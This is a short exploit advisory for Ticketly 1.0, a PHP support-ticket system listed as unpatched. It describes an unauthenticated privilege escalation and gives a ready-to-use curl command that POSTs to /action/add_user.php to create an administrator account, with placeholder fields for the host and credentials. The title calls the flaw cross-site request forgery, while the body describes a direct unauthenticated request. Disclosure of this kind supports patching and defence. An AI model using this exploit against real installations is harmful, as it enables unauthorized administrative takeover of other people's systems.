27 lines
No EOL
1.1 KiB
Text
27 lines
No EOL
1.1 KiB
Text
# Exploit Title: Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
|
|
# Exploit Author: Javier Olmedo
|
|
# Website: https://hackpuntes.com
|
|
# Date: 2018-11-19
|
|
# Google Dork: N/A
|
|
# Vendor: Abisoft (https://abisoftgt.net)
|
|
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
|
|
# Affected Version: 1.0
|
|
# Patched Version: unpatched
|
|
# Category: Web Application
|
|
# Platform: Windows & Ubuntu
|
|
# Tested on: Win10x64 & Kali Linux
|
|
# CVE: N/A
|
|
# 4. References:
|
|
# https://hackpuntes.com/cve-2018-18922-ticketly-1-0-escalacion-de-privilegios-crear-cuenta-administrador/
|
|
|
|
# 1. Technical Description:
|
|
# Ticketly version 1.0 are affected by a privilege escalation vulnerability,
|
|
# an attacker could create an administrator user account by sending a POST
|
|
# request to the resource /action/add_user.php without authentication.
|
|
|
|
# 2. Proof Of Concept (PoC):
|
|
# Send request curl:
|
|
curl -i -s -k -X $'POST' \
|
|
-H $'Host: [HOST]' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 82' \
|
|
--data-binary $'name=[NAME]&lastname=[LASTNAME]&email=[EMAIL]&status=1&password=[PASS]' \
|
|
$'http://[PATH]/action/add_user.php' |